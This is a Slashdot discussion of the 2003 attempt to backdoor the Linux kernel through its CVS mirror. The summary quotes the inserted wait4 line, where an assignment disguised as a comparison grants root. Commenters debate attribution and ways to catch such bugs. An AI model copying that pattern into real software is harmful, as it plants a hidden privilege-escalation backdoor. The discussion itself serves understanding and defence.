Please create an account to participate in the Slashdot moderation system

 



Forgot your password?
typodupeerror
×
Security Linux

The Linux Backdoor Attempt of 2003 360

Hugh Pickens DOT Com writes "Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn't like BitKeeper, so a second copy of the source code was kept in CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted a small change to wait4: 'if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) ...' A casual reading makes it look like innocuous error-checking code, but a careful reader would notice that, near the end of the first line, it said '= 0' rather than '== 0' so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it's a classic backdoor. We don't know who it was that made the attempt—and we probably never will. But the attempt didn't work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. 'Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,' writes Felton. 'Unless somebody confesses, or a smoking-gun document turns up, we'll never know.'"
This discussion has been archived. No new comments can be posted.

The Linux Backdoor Attempt of 2003

Comments Filter:
  • OMG enough (Score:5, Insightful)

    by Virtucon ( 127420 ) on Wednesday October 09, 2013 @12:09PM (#45082199)

    Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in. How was the system that hosted the CVS repository managed? Was it hacked? Was there any investigation or was it possibly somebody that did something stupid and now everybody thinks it's somehow tied to the NSA?!?!?

    Let's just go forward with what we know and stop the speculation, that is unless somebody has some hard facts like an IP address that belongs to the government or a chain of evidence.

    • Re:OMG enough (Score:5, Interesting)

      by sqorbit ( 3387991 ) on Wednesday October 09, 2013 @12:12PM (#45082229)
      It's just like the "We can't explain this, so it must have been aliens" philosophy. If someone tried to create a backdoor, it must be the NSA. Not some bored hacker or some other explanation.
      • by Russ1642 ( 1087959 ) on Wednesday October 09, 2013 @12:55PM (#45082741)

        There's a 50% chance it was aliens. Either it was aliens, or it wasn't aliens.

      • Re: (Score:3, Insightful)

        by Anonymous Coward

        Bored enough to know how to stealthily insert their modified code into the CVS repo.

        That eliminates most script kiddies...

      • Yep, if no one has seen any aliens, you could assume that they don't exist. BUT, if you see even one alien, you could say that they are everywhere.
        Simple math man, 2 = infinity .
    • Re: (Score:3, Insightful)

      by Anonymous Coward

      In 2003, there wasn't even near the IDS/IPS technology of today. Firewalls were in place, but some places still have not moved to internal segments with firewalls on the internal networks.

      This could have been anyone. Yes, it -could- have been the Greys, the NSA, the CIA, MI5, Elbonia's secret police, or the Illuminati, but right now, it was a detected hack attempt, and anything more is pure rumor unless there is something definitely specified in the papers Snowden sold to the Guardian.

    • Re:OMG enough (Score:5, Informative)

      by djmurdoch ( 306849 ) on Wednesday October 09, 2013 @12:26PM (#45082419)

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in. How was the system that hosted the CVS repository managed? Was it hacked? Was there any investigation or was it possibly somebody that did something stupid and now everybody thinks it's somehow tied to the NSA?!?!?

      Yes, there was an investigation [indiana.edu]. The name attached to the log entries belonged to someone who said he didn't make the changes.

      • Re:OMG enough (Score:5, Informative)

        by Virtucon ( 127420 ) on Wednesday October 09, 2013 @12:37PM (#45082541)

        L. McVoy...

        It's not a big deal, we catch stuff like this, but it's annoying to the
        CVS users.

        My Favorite from A. Walrond..

        Somebody getting access to and inserting exploits directly into the linux
        source is not something we should take lightly. Whilst we understand the
        limits of the problem, the fact that it happened at all could get /.'d out of
        all proportion and be used to seriously undermine linux's reputation

        Note, back in 2003, "/.'d out of all proportion..." which is exactly what this article is all about.

      • Re:OMG enough (Score:4, Informative)

        by tlhIngan ( 30335 ) <slashdot.worf@net> on Wednesday October 09, 2013 @04:06PM (#45084795)

        The name attached to the log entries belonged to someone who said he didn't make the changes.

        Well, it also had the fact that CVS was just a read-only clone. If you wanted to make a change, you can't submit it to CVS - you had to submit it up the change and eventually it would hit the BitKeeper repo first, then propagate to CVS.

        So oddball entries like that mean it not only is a change that doesn't end up back in the BK tree (because there's no pointer back to the BK changeset), so something strange is going on.

        Of course, this only affected CVS users - it would not affect BK users (as the CVS was a one-way clone of the BK tree that was autogenerated), so the change not only was only in CVS, but there is no corresponding change in the BK tree to be linked with anyone.

    • Re:OMG enough (Score:4, Insightful)

      by gstoddart ( 321705 ) on Wednesday October 09, 2013 @12:31PM (#45082481) Homepage

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit. It could have been a hacker trying to put that code in.

      Which is pretty much the same thing, isn't it?

      'Somebody' or 'a hacker' or 'an unnamed government agency' .. somehow, code got inserted into a repository with no audit trail and no record.

      That the NSA has been motivated to do stuff like this is readily apparent unless you've not listened to any news in the last several months. Whether they did it or someone else did, who knows.

      But it's hardly a wacky assertion that it could have been the NSA. It also could have been me, but I'm not telling. ;-)

      • I do listen to the news, so prove to me that it was the NSA rather than some bored college student looking to inject some mayhem? During my first two years of college, I worked as a Systems Operator. We had students who pushed the envelope on APIs, system calls and other things. They'd come up with strange things and bugs and report them to us. "I created this 128 character string and it had somebody's name in it when I printed it out." Well that's what it was like in the late 70s, when memory wasn't

        • Re:OMG enough (Score:5, Informative)

          by gstoddart ( 321705 ) on Wednesday October 09, 2013 @01:09PM (#45082929) Homepage

          I do listen to the news, so prove to me that it was the NSA rather than some bored college student looking to inject some mayhem?

          And why would I seek to prove something to you that it says right in the damned article that nobody knows who did it, or why, or how? I certainly never claimed it was the NSA, and even TFS suggest that, while it could have been the NSA, they don't know.

          There is direct proof someone tried to insert a back door, but as far as who did it, nobody fucking knows, and TFS even says that.

          Given what the NSA is doing lately, they're a plausible guess, but, there is no proof to suggest what entity did that ... NSA, bored college student, the Chinese, aliens, your mom. It says right in the summary they don't know, and unless someone admits to it, they never will -- but nonetheless, code did magically end up in the code repository they couldn't account for and which they caught. So someone did attempt to insert a back door, that much is fact -- the rest of it is speculation, and that's pretty much evident that it is speculation.

          You're asking for proof of something that people are only suggesting as a possibility, not claiming as fact. Which means you're not even debating the article, you're debating something the article didn't say but you're acting as if it did.

          You're tilting at windmills there dude.

          • by Hadlock ( 143607 )

            I would probably be more apt to name the Chinese or the Russians before the NSA, after all, the Chinese have a decent financial stake in linux development, and have had for some time. Red Flag Linux (est. Jan 2000) has it's roots in Chinese state-funded computer science.

            • Re:OMG enough (Score:5, Insightful)

              by gstoddart ( 321705 ) on Wednesday October 09, 2013 @01:29PM (#45083137) Homepage

              I would probably be more apt to name the

              In the absence of evidence, I would be more likely to refrain from naming anybody.

              Some unknown actor did it, how and for what reasons is completely unknown. Had it worked it would have resulted in a backdoor.

              Listing shady entities it could have been might be a fun game, but it's meaningless. And TFS pretty much says that.

          • Re: (Score:3, Insightful)

            by icebike ( 68054 )

            There is direct proof someone tried to insert a back door,

            Or there was a coding error. After all, one single missing "=" makes its effect that of a back door, even if that had not been the intent.
            One wonders just how many of this type of "back door" actually exists in the mountain of source code.

            The unique thing about this incident is that it was only found by some random diff, not someone reading validly submitted code and saying "oh wait this is a back door".

            Given all the massive patches and totally new sections of code that get submitted each year, its apparen

            • Re:OMG enough (Score:5, Informative)

              by gstoddart ( 321705 ) on Wednesday October 09, 2013 @02:03PM (#45083483) Homepage

              Or there was a coding error.

              A coding error, which got into CVS and bypassed BitKeeper, for which there's no commit logs to account for it? And which by sheer fluke would also have been an exploit?

              Sure, it could have been a coding error, but the description of how they found it and what they couldn't subsequently find would strongly suggest that this got in there by some really, er, 'unusual' mechanism.

              It sounds like they did the forensics at the time, and that it didn't come in through any mechanism any of them could account for.

              If I understood correctly, this didn't get into CVS from a commit, it just ended up in there. And in many years of working with CVS, I'm pretty sure I've never seen that happen.

            • Re: OMG enough (Score:5, Insightful)

              by Simon Brooke ( 45012 ) <stillyet@googlemail.com> on Wednesday October 09, 2013 @02:44PM (#45083911) Homepage Journal

              The fact that

              1. This patch was sneaked into CVS bypassing the proper channels;
              2. The submitter identity was (allegedly) forged;
              3. The UID assignment was surrounded in parentheses to prevent a compiler warning

              strongly suggest that this was a deliberate feature, and not a casual error. I've done a lot of security audits of mission critical systems in my time and I've seen a lot of potentially catastrophic casual errors. You can always see what (innocent) thing the programmer intended to do. There's no 'innocent' thing this change could do. This is intended.

              Who intended it? That's another question.

      • All the criminal activity the NSA has done and continues to do has done nothing but made the entire hardware and software structure of the Internet vulnerable, paving a smooth, superhighway to everyone else in the world that wishes to either destroy modern society or simply steal money from the 99%.

        The petard the NSA and Western World will be hoisted upon is one of their own making. (Cylons 1:15)
    • Re:OMG enough (Score:5, Insightful)

      by Alomex ( 148003 ) on Wednesday October 09, 2013 @12:52PM (#45082703) Homepage

      Actually in this very specific case the Occam razor's version of event was a malicious attempt.

      Just the other day I arrived at work to find traces of my externally accessible office door being jimmied. Now what is more likely (1) that the janitors lost the master key and forced their way in to vacuum clean or (2) that someone (likely a petty burglar) opened it and took my missing radio?

      There is a suid exploit inserted in an unauthorized way. The simplest explanation is a backdoor attack. The subsequent investigation seems to support this further, even though we still do not know with certainty since the guilty person was never caught. However we can operate on the assumption that this was a malicious attack and discuss it as such.

      • Actually in this very specific case the Occam razor's version of event was a malicious attempt.

        What's Jodie Foster got to do with this?

        Yeah, Yeah, that movie sucked!

      • I think what Virtucon was trying to complain about, but failed miserably in conveying, was not the claim that someone was trying to insert a backdoor into the Linux kernel, but that that someone was the NSA, as there is zero evidence to point to any suspect.
        • was not the claim that someone was trying to insert a backdoor into the Linux kernel, but that that someone was the NSA, as there is zero evidence to point to any suspect

          Except nobody is saying "it was the NSA".

          In fact, the last sentence of TFS says

          Bould this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack,' writes Felton. 'Unless somebody confesses, or a smoking-gun document turns up, we'll never know.'

          Which means all arguments which foll

    • Re:OMG enough (Score:5, Interesting)

      by ShanghaiBill ( 739463 ) on Wednesday October 09, 2013 @12:56PM (#45082755)

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit.

      The code snippet is an obvious attempt at a backdoor. What more "proof" do you need?

      It could have been a hacker trying to put that code in.

      So? How does that make it "not a backdoor"? The code is the same regardless of who put it there.

      Some obvious lessons from this are:
      1. Run your compiler with the warnings on.
      2. Use lint.
      Either of these would have flagged this problem.

      When run with "gcc -Wall", this warning is produced: warning: suggest parentheses around assignment used as truth value.

      • Re:OMG enough (Score:5, Insightful)

        by TheCarp ( 96830 ) <sjc.carpanet@net> on Wednesday October 09, 2013 @01:20PM (#45083045) Homepage

        > The code snippet is an obvious attempt at a backdoor. What more "proof" do you need?

        Actually, the code snippet, without context is not an obvious attempt. It is a cleverly hidden attempt that COULD be a genuine error.

        However, having no approved submission to track it back to, that makes it an obvious attempt, even more so with evidence that the hosting system was compromised.

        I would even call it obvious if they had an approved submission if the submitter didn't have some good justification for mucking with an error handler for a case that shouldn't happen, those tend to not need much maintenance.

    • Let's just go forward with what we know and stop the speculation

      Skip that. How about we go with "Never attribute to malice that which can be explained by stupidity." We're talking about a single character that turns what everyone seems to agree would be an error-check, into an exploit. This sort of thing happens all the time, and nobody says the butler did it, in the observatory, with the lead pipe, when it does. They say "Hey, man, your last diff patch might have a bug." (explains bug) ... a few hours to days later, they reply back with "Oh hey thanks for catching that

    • then stop with all of the "X-Files" shit.

      What if I told you all of the "X-Files" shit comes quite close to actual recent events.

    • Except that clearly SOMEONE was trying to create a backdoor. That someone may not have been a government agency, in fact the summary seems pretty clear to me that they are not saying that it WAS a government agency. The summary clearly states that there is currently no way to know who put the backdoor code into the kernel repository.

      A backdoor is not necessarily something put in to allow a government agency to access a system. The term "backdoor" refers to any code which intentionally allows an unauthor
    • Under normal circumstances, you are right. But keeping in mind all the leaks, and all the multi-billion data centers, which no one but the government is using....kinda of changes everything.
    • by Dunbal ( 464142 ) *

      Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit.

      Yes. Never try to think that anyone would be interested in compromising a very popular OS. Always assume that it was just a simple mistake, and the fact that safety precautions to avoid this kind of mistake were also bypassed: it's always co-incidence. Never suspect anyone, ever. Security by hiding your head in the sand is the best security ever. By the time you realize they chopped your head off, you're already dead, so you have never have anything to worry about.

      After all, what possible kind of advantag

    • Unless somebody has proof that somebody was trying to create a back door then stop with all of the "X-Files" shit

      It was put in surreptitiously, is that not enough to conclude it was intentional? Its one thing to be a skeptic, but it is quite another to ignore facts.

  • Repost (Score:2, Informative)

    by Anonymous Coward

    This has been posted plenty of times on here, and this article has no new information on the backdoor attempt. About the only thing is the spurious claim the NSA was behind hit. Geez.

  • C/C++ operator = (Score:5, Interesting)

    by Jamu ( 852752 ) on Wednesday October 09, 2013 @12:15PM (#45082287)
    It's why placing constants on the left of the equality operator is a good idea in C/C++. The whole line then looks suspicious because its constants are on the right, and the first thing you'll think about is bugs involving operator = instead of operator ==. Unfortunately there's a lot of old code that doesn't do this, but it's easy enough for a compiler to issue warnings about operator = in if-statements.
    • Re:C/C++ operator = (Score:4, Interesting)

      by TheCarp ( 96830 ) <sjc.carpanet@net> on Wednesday October 09, 2013 @12:49PM (#45082669) Homepage

      OMG Thank you.

      I have often seen this form, not just in C but elsewhere. I always thought it was more a formatting preference for readability (often the variables being tested part of the equation doesn't change, so move the part that does change closer towards the start of the line)

      I never considered that it might help catch or mitigate this sort of error. Truely 0 = uid, while also quite bad yet legal C*, doesn't reassign the UID.

      * I always thought this was legal, but now that I try it, I find this gives a compile time error - "error: lvalue required as left operand of assignment". Currently gcc is the only compiler I have on hand, so i can't check some of the much older ones.

      • I recall reading about a compiler or interpreter somewhere along the line which actually would redefine the value of the "constant" 0. So although it will catch errors, it may not always catch them.
        • by TheCarp ( 96830 )

          I think I read the same thing, or something about the same issue. I always remember seeing some examples of this and the odd and what it would lead to. For some reason, I remember C being the language in question, but maybe not.

      • Truely 0 = uid, while also quite bad yet legal C*, doesn't reassign the UID.

        * I always thought this was legal, but now that I try it, I find this gives a compile time error - "error: lvalue required as left operand of assignment". Currently gcc is the only compiler I have on hand, so i can't check some of the much older ones.

        No, assigning to a non-lvalue (where lvalue is defined, essentially, as "something that can be assigned to") has never been legal C or C++.

        What would it even mean?

    • by dfghjk ( 711126 ) on Wednesday October 09, 2013 @01:21PM (#45083053)

      "Unfortunately there's a lot of old code that doesn't do this..."

      Nice implication that this is a standard rather than a preference. A lot of new code "doesn't do this" either because a lot of people don't feel like you do, myself included.

      Writing expressions backwards hampers the readability of code and only theoretically catches problems. I can count on one hand the times in my career I've suffered this particular fate and I'm not going to pay a price every day for a structural "solution" to a problem I don't have. I've been working with programmers that do this for 20 years and have never found it to be anything but a nuisance. If it works for them, fine, but it doesn't go into my work. I'm not weak but if you are then by all means, use your crutch.

      Sometimes the answer is be better at what you do. Once upon a time you could declare a local variable in a switch statement without explicitly limiting scope. Now you must incur the wrath of the nanny compiler or pollute your code with compiler-pacifying turds. This could be made to work right but the same people who think we need shit like this can't be bothered doing a proper job of implementing it. We have attitudes such as yours to thank for crap like that.

      At my new job there are debates on what compiler warming levels to adopt. The reason is the release process enforces a no-tolerance policy for warnings and there's a large code base that will never be warning-free at higher levels. This is what you get when you create compiler-enforced "rules" rather than focus on skills and better code quality, particularly when you abdicate to tools you don't control or even understand.

    • Unfortunately there's a lot of old code that doesn't do this

      I still write new code that doesn't do this. I think about people like you every time I do it though, so at least I'm thinking of you. That's something.

    • by Kjella ( 173770 )

      Personally if I was designing a language I'd ban the single = operator and use := for plain assignment and == for comparison. Compound assignment like += could remain the way they are. Is it extremely unnatural and annoying to write stuff like if (3 == foo ), I'd be a lot more obvious and a lot less likely to be a typo if it had to say if( foo := 3 ) to do something bad. Of course it could still be a brain fart, but a pretty bad one at that.

      • Re: (Score:3, Insightful)

        In hindsight this is one of the things that I wish Kernighan & Ritchie (the original authors of C) should have considered.

        Pascal and Ada both use ":=" as an assignment operation and "=" for testing equality, so this type of error is a non-issue in these languages. Furthermore Pascal (1970) actually predates C (1972) by two years, so it bears consideration why K&R overlooked this possibility.

        That said, nearly all modern compilers (incl. GCC) do print a warning if you use a "=" operation in a if() or

        • Re:C/C++ operator = (Score:4, Interesting)

          by Dogtanian ( 588974 ) on Wednesday October 09, 2013 @03:16PM (#45084229) Homepage
          Yeah, I'd often thought that the := operator should have been used instead of = (possibly leaving == as the equality operator and having a single = give a compiler error).

          The only problem is that := *might* look quite similar to != (i.e. doesn't equal). If we were starting again from scratch, of course, we could choose BASIC's <> instead to avoid that problem, but whether it would be a good idea now, I don't know.
  • by Anonymous Coward

    The difference between linux and closed source OSs is that on linux you may be able to identify malicious code in the kernel and remedy this situation. For closed source solutions you're truly fucked through and through. You seriously think Microsoft and Apple haven't backdoored their OS ? Just one more reason to stop using closed source software if you value your privacy, your secrets etc...

  • I am impressed that the kernel team caught that. Kudos!
  • I did it. (Score:3, Funny)

    by cellocgw ( 617879 ) <cellocgw.gmail@com> on Wednesday October 09, 2013 @12:18PM (#45082321) Journal

    Signed,
    Spartacus

  • I guess compilers are already smart enough to warn about this kind of accident, but sometimes I still wonder if it would have been better to have := for assignment and = for comparison also in C.
  • I hope the Linux team, which has the security of billions of people in their hands, uses far better security than Felton's article implies. (And for all I know it is.)

    The excerpt above suggests that someone happened to notice a change that wasn't pointing to an approval record. What if nobody happened to notice? What if the attacker also created an approval record? And was there a serious effort to find the exploit used and close it, and find the perpetrator?

    I hope the Linux kernel's integrity is monitored

    • by Todd Knarr ( 15451 ) on Wednesday October 09, 2013 @01:21PM (#45083055) Homepage

      It is monitored more carefully. Notice that the backdoor was only introduced into the CVS copy, which wasn't the official copy used to create kernel releases. It never made it into the official copy in BitKeeper, because to get there it would've had to go through the official review and approval process that would've caught and rejected it. And without making it into the BitKeeper repository it never would've been used by any major distribution, only by developers and private distributions that pulled from the CVS copy because of objections to BitKeeper.

      And today even that unofficial copy is gone. With the change to git I believe there aren't any secondary copies in other version-control systems except maybe private ones developers keep for whatever reason which wouldn't be able to feed changes back into the main repository without going through the review and approval process every submission has to go through.

      Long and short, the Linux kernel repository's no more vulnerable than the internal repositories for Windows or the Oracle database system, and it's probably less vulnerable. Microsoft or Oracle's repositories will take commits from any random contractor that's been hired to work on the code, regardless of their background or history. The Linux repository... it may accept submissions from anyone, but the degree of review before approving the submission depends heavily on how well the project maintainers know the submitter. The first submissions from someone the maintainer doesn't know are going to be reviewed with a fine-toothed comb and a skeptical eye, and very few black-hats are going to be willing to spend years submitting high-quality code to build up enough of a reputation with the maintainer to be able to get code in with only a cursory review. It's the difference between a development team and a developer community.

      • by guanxi ( 216397 )

        Thanks for the explanation. One point I don't quite agree on:

        very few black-hats are going to be willing to spend years submitting high-quality code to build up enough of a reputation with the maintainer to be able to get code in with only a cursory review.

        I think you are underestimating the value to attackers of compromising Linux, and therefore everything that runs on Linux. Paying someone over several years to build a reputation in a community is nothing for a state intelligence budget or even unusual activity (based on my very limited knowledge).

        Also, in IT security, insiders are often considered the greatest security threat. Established community members can be compromised; maybe they need mone

    • Re: (Score:2, Insightful)

      by Anonymous Coward

      Why didn't /. just hold off another month and repost it exactly a decade after it was really news.

  • Compiler warning (Score:4, Interesting)

    by JDG1980 ( 2438906 ) on Wednesday October 09, 2013 @12:41PM (#45082591)

    Doesn't GCC warn for this by default? I'm pretty sure I remember getting compiler warnings from it in cases when I deliberately had an assignment operator in an if conditional.

  • by lesincompetent ( 2836253 ) on Wednesday October 09, 2013 @12:43PM (#45082597)
    It's FOIA time!
  • Even if the code had been accepted and committed, it would have been some time before it would have started rolling out into systems. How many people do you know who consistently run the latest Linux kernel? The most popular distros are generally (at least) a few months behind on adopting the latest kernel, so even if this was committed next week it would have likely not shown up in widespread use until the middle of next year at the earliest.

    And beyond that, the users that use Linux are likely far less interesting to the NSA than they like to tell themselves to be. Enemies of the state don't generally have an interest in running anything other than windows (which they often steal, so the cost is irrelevant).
  • If it was the NSA, it'd be hard to trace now. Especially as this is going back to 2003, prior to all this excitement. It doesn't matter. It didn't work, and the NSA is suspected of perpetrating more recent attacks at a different level in the chain.

    But this example brings up a good point, which is how vulnurable C and C++ code is in general to obfuscation. It is a known security risk and attack vector, but programmers tend to gloss over it, mainly when they can't accept that they are just as capable of makin

  • by damn_registrars ( 1103043 ) <damn.registrars@gmail.com> on Wednesday October 09, 2013 @01:50PM (#45083383) Homepage Journal
    Well if it happened in 2003, then we know it cannot possibly be the NSA. After all, we have been told repeatedly by the mainstream media and by reputable unbiased sites such as our beloved slashdot that the government was 1000% righteous and benevolent from 2001-2008 and only became evil after we elected a socialist anarchist fascist liberal hippie far left islamist atheist democratic dictator to the white house. So clearly, the NSA in 2003 could not have been behind an attempt to insert malicious code into the Linux kernel; and if they somehow were then real Americans had nothing to fear about it anyways!

    But of course, they weren't behind it! They couldn't have done it!
  • by seeker_1us ( 1203072 ) on Wednesday October 09, 2013 @02:07PM (#45083525)
    Remember the NSA has worked to HARDEN linux, and even contributed the SElinux system.
  • by KingofSpades ( 874684 ) on Wednesday October 09, 2013 @03:44PM (#45084527)

    I'm suprised that no one mentioned the Underhanded C Contest
    http://underhanded.xcott.com/ [xcott.com]

    Quoting their web site:
    "The goal of the contest is to write code that is as readable, clear, innocent and straightforward as possible, and yet it must fail to perform at its apparent function. To be more specific, it should do something subtly evil. "

What is research but a blind date with knowledge? -- Will Harvey

Working...